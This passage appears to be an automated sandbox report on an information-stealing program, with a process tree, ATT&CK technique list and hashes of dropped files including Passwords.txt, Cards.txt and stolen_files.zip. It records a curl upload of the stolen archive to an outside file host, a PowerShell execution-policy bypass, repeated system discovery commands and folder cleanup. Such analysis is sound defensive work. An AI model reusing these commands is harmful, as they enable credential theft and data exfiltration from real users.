    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:3516
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:2556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:5012
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:1128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:4156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:1340
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:2104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:4892
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:4796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:2668
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:3028
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:4996
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:3972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:2136
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:1560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:4652
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:3500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4076
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:4172
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:1876
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4232
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:2764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:1784
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:3044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1""
      4⤵
      PID:720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Spdohfma.zip";"
      4⤵
      PID:5100
    - - C:\Windows\system32\curl.exe
        
        curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Spdohfma.zip";
        5⤵
        
        PID:2172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:2920
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:3928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:2828
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:2268
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:4468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:5052
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:1764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:1920
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:424
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:4320
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:4956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4236
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:4512
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:4004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:3620
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:1668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:1160
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:3224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:3324
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:2668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:3380
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:3948
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:3044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:3396
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:3244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:3980
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:1616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:3888
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:2424
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "rmdir /s /q "C:/ProgramData/Steam/Launcher""
      4⤵
      PID:3008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4500
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:3996
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:2084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:3828
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:1684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:4488
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:5104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:2308
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:3748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4912
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:1820
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:3312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:2392
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:4324
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:1272
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:3928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:1408
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:3368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4412
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:1824
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:3420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:3244
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:1280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:3980
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
      4⤵
      PID:3508
    - - C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        5⤵
        
        PID:908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
      4⤵
      PID:1920
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        5⤵
        
        PID:3340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
      4⤵
      PID:4776
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        5⤵
        
        PID:4004
    - - C:\Windows\system32\find.exe
        
        find /i "Speed"
        5⤵
        
        PID:4512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      4⤵
      PID:4800
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:1536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
      4⤵
      PID:4744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Steam\Launcher\EN-SPD~1\debug.log

Filesize
1KB

MD5
ff779f7996400f868a2a563606dc1dae

SHA1
2abd087e17c52190bb2362ff1150da0f65506915

SHA256
3cfe60ff7f46156309e989e8b333fcb4caf631dbbdeca3d18a7daacf8386c4d0

SHA512
2f2390a99105f16910419e60beaf444b5e9f0969ae169d249bb4ef0e7e755f7617ae5eaea4d1220b429eec7eca921d4538064321cc8c750d497e0912a3923beb

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma.zip

Filesize
371KB

MD5
72a36958d7cc45bfdba4017f9fd26867

SHA1
f5b367a17332ae3c305e3828d93b573dba10d1c4

SHA256
3d8a855364fd0ab359aea58009efe8f60b049dd57e282e935281cba1e94d2490

SHA512
4291699204d87e2c726f003c79eeb84c44917321cfebe965f940db1acaabc74533124378108734d5a70a1cdbbd29ee77173704eebf78347c1920c4430b0c5c86

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Autofills\Autofills.txt

Filesize
94B

MD5
2f308e49fe62fbc51aa7a9b987a630fe

SHA1
1b9277da78babd9c5e248b66ba6ab16c77b97d0b

SHA256
d46a44dd86cea9187e6049fd56bb3b450c913756256b76b5253be9c3b043c521

SHA512
c3065baa302032012081480005f6871be27f26da758dc3b6e829ea8a3458e5c0a4740e408678f3ecf4600279d3fcad796f62f35b8591e46200ce896899573024

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Cards\Cards.txt

Filesize
70B

MD5
8a0ed121ee275936bf62b33f840db290

SHA1
898770c85b05670ab1450a96ea6fbd46e6310ef6

SHA256
983f823e85d9e4e6849a1ed58e5e3464f3a4adbe9d0daeeadd1416cf35178709

SHA512
7d429ce5c04a2e049cdf3f8d8165a989ab7e3e0ac25a7809c12c4168076492b797d2eebaf271ae02c51cb69786c2574ec3125166444e4fa6fc73430f75f8f154

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Discord\discord.txt

Filesize
15B

MD5
675951f6d9d75fd2c9c06b5ff547c6fd

SHA1
9b474ab39d1e2aad52ea5272dbac7d4f9fe44c09

SHA256
60fe7843b40ed5b7c68118bbba6bfe5f786a76397cdedb80612fd7cefce7f244

SHA512
44dfb6c937283870c6eedf724649004a82631cd8eeb3f9c83e5bca619d1c9ffb8aa5f51c91d57f76789e2747712ce9c6ad207773928e5e00e712f640f8c25aea

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Passwords\Passwords.txt

Filesize
78B

MD5
c5e74f3120dbbd446a527e785dfe6d66

SHA1
11997c2a53d19fd20916e49411c7a61bfb590e9c

SHA256
e0fd13d912d320faaa64e177b4e75f54ec140692ebc5904d10e1cbe3e811ee05

SHA512
a2bab776d22abf857c7df84b3c90851829eda615fbd450c9c72ab89f97591224380990a86c8e7e40ac811aa1225592743eebed63125d519d138fa28b859f2a3f

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Screenshots\Screenshot.png

Filesize
420KB

MD5
d4b875eb4420e038b3190c764f208422

SHA1
076b068f3b01f1a1c6d65976696c1aa0251cb231

SHA256
8ae48c3421452ceedaf259fb54145847734956107014fe3516bf370244f4958d

SHA512
3d134dbf255b869c49a2ae91eae8104d65b415e42af4abc3c263142dcc80ef3828a7afd862b1059d005a23f39e6928534d6e88c63648703077fb7b16646835c4

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\Serial-Check.txt

Filesize
506B

MD5
57890e6c6fed102922c49d3e6d158f85

SHA1
16a9f8f8b6070911143c81872400599461869aad

SHA256
35e0c661e89d49be0a4f9b9be260d3046eacfbedf44050e4c9019e0c0a064805

SHA512
29101d8d6701b21215862af9dfe34407fda23f1c488826a1ff2057cd324347d3405775821ea8a79c8415660ddd1aa30fa0818e9ea1ffc6dad2d90a1cda72d04c

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\debug.log

Filesize
1KB

MD5
2a1da3d8299b5c2275950523f1b3ed81

SHA1
9397e09ebbe5f09a5f51593acd1bc5aedb741283

SHA256
5e277634bd7c8dcba6c8e22d1bc5ca7db7cc777053818ed0b3ba86ee3fd0b025

SHA512
ce4d3cbea7765ffcbe99625ed4958280bfd1ac332a890a9cfda91cc350bae84a32deddbc53e2b387b85d145aa6ca4e94c82a253e1bf682ab99560fdc3273a0c6

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\debug.log

Filesize
1KB

MD5
b87f33da8e8a1e0b0c737a3f0c2c250b

SHA1
38ccae42ac63a46eb4f687f0fa07daeb75cd83d3

SHA256
da0078d29c02d9ce4515b03f74cdf1dc73ba6e11083c4e543a485319c33ceeee

SHA512
273df1787a4b902bf25c3d1c2702511d7c51bbe6e69d25d0dc6a94c5c2c7110e044dd1865d87488d8dc42823c8f3efea4de700ae6ee986a7a4ddbb19c6e37473

Download Submit
C:\ProgramData\Steam\Launcher\EN-Spdohfma\stolen_files.zip

Filesize
368KB

MD5
824d6a13e82636e7f8c5b511c133d501

SHA1
e8517486c118fc4836bb0afb8a477d39490cae6b

SHA256
99966d96dd7a37e287211731c07954863445a942686e3c674f0998b338d3fae4

SHA512
c447842b7b8affb81f455ed3c00346880322af84f10cea120d3a613bc2516bdb886d882e8fd3e7622d5583fe156ebb1a26e6414c4cbe613095e7bcecd63eeb3f

Download Submit
C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat

Filesize
1KB

MD5
d3b739de1f6ef672ff1862078b77fc74

SHA1
6fcbc1d4b53c94e23f16b4be320c5a91fb1c6521

SHA256
157828e31fb5f21769014e59c2abb142667437cd8683b80142a5e021a772b0d9

SHA512
0a108264bedc6ebdc8b9a364cf155aabcee8bbfe50b6a74df53bd47eff58abf0b6cb7e53102cce3c01d2edba87696c1eb2458a24e93865b438f539fb57755e7a

Download Submit
C:\ProgramData\edge\Updater\Get-Clipboard.ps1

Filesize
3KB

MD5
a8834c224450d76421d8e4a34b08691f

SHA1
73ed4011bc60ba616b7b81ff9c9cad82fb517c68

SHA256
817c184e6a3e7d1ff60b33ec777e23e8e0697e84efde8e422833f05584e00ea5

SHA512
672b3eca54dff4316db904d16c2333247e816e0cd8ef2d866111ddb49ab491568cc12d7263891707403dd14962326404c13855d5de1ae148114a51cb7d5e5596

Download Submit
C:\ProgramData\edge\Updater\RunBatHidden.vbs

Filesize
146B

MD5
14a9867ec0265ebf974e440fcd67d837

SHA1
ae0e43c2daf4c913f5db17f4d9197f34ab52e254

SHA256
cca09191a1a96d288a4873f79a0916d9984bd6be8dcbd0c25d60436d46a15ca1

SHA512
36c69c26fd84b9637b370a5fe214a90778c9ade3b11664e961fe14226e0300f29c2f43d3a1d1c655d9f2951918769259928bbbc5a9d83596a1afc42420fc1a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
143a478fb47996f74bbbcdaa252b9e0b

SHA1
288893a45c1c50f8245a32aa06dfb1ac2ff31c83

SHA256
6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

SHA512
e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
27a1182fe6c78b7eb8ad6648b31c67fe

SHA1
e6390f30f8392ea9f150b093c54bf29ff2ec919d

SHA256
d09115c25fe33987137cfc79dd7713009dc5162a880b129609c627abc5ecc0c5

SHA512
33245588aaf493ed0cb0451bbda58b3363a41d3a0b0dc3275f315844d72d9d7b85d7af6d8c28ffaca6aaa1e0b4b7cb5f46cd386df9f6d372a1df18ae000fe2cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6ec4e181bd7faeaa5a8d17aafd657010

SHA1
5a4c0a606ca7f521a55fb14b8b5ca40b7c88279a

SHA256
887da43a4b4371dbf5486ee7703140e467f93eaea56f1453455b988e9662aed8

SHA512
b1341dc0472194bf840c78e6f56a232fbe784e557118a4f64b626d4457fb196f5412d08a32ce7d43727bd3759cf91e6bb7858a9d4baeafa3539785d8da7d5c63

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0717ac3697a50ac592dd481dd99f72cf

SHA1
094ebd8d56d099a50eed70b9797f271940784fdb

SHA256
be01fb5b572fc90c752b35f000963c7411f63d3895821f02bbba1b2867015972

SHA512
a81a6ae983dc2d0363734764bd2d70547db05f4e9c5ede8e45c61d1b8470846e471495f590d9ee9a028b4a67058a7b39a1201a6bd874c879cbc76955cbb881a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ef647504cf229a16d02de14a16241b90

SHA1
81480caca469857eb93c75d494828b81e124fda0

SHA256
47002672443e80410e55a0b6d683573ac27d70d803b57ee3c2818d1008669710

SHA512
a6d8c08c708eee6f7e700880ce79d2ba7cd0acbe8529d96e18f3e90ea1f3cf33fd801dd6eba6017cdd02769e968c48278c090c1deeac710124f79423cd862ee1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
dcfe1f94aa15e3ca618b4c5002c9c055

SHA1
b8abdaf68684bc49756086840035b93f79329892

SHA256
cf11bfe8cd92fd4293ae0bd884f2c3d397e68d54ea03352027ed6b6c93e8630d

SHA512
bce3736f22af50ef73c7ca17942eebddc00ea5b216fa9ad8c704fb6b5c0cc8d0b8aa992fc47270148c23d8257ba2ab9cae079ca239abebef7a92182941f8a73c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ca24df1817fa1aa670674846e5d41614

SHA1
dac66ea013bcc46d24f1ece855568187c6080eaf

SHA256
3b9d5525002b14e4b5c044e80d3035420d037b48d94a1f836c5a253df0c539db

SHA512
fb1848fa381fa360171ba13e1aa15c7029ff543c806f34ae524f04bda637b48e1aa06e831843aa830173c0a218072da7f3d0bc52ce56364b888c53234a224631

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
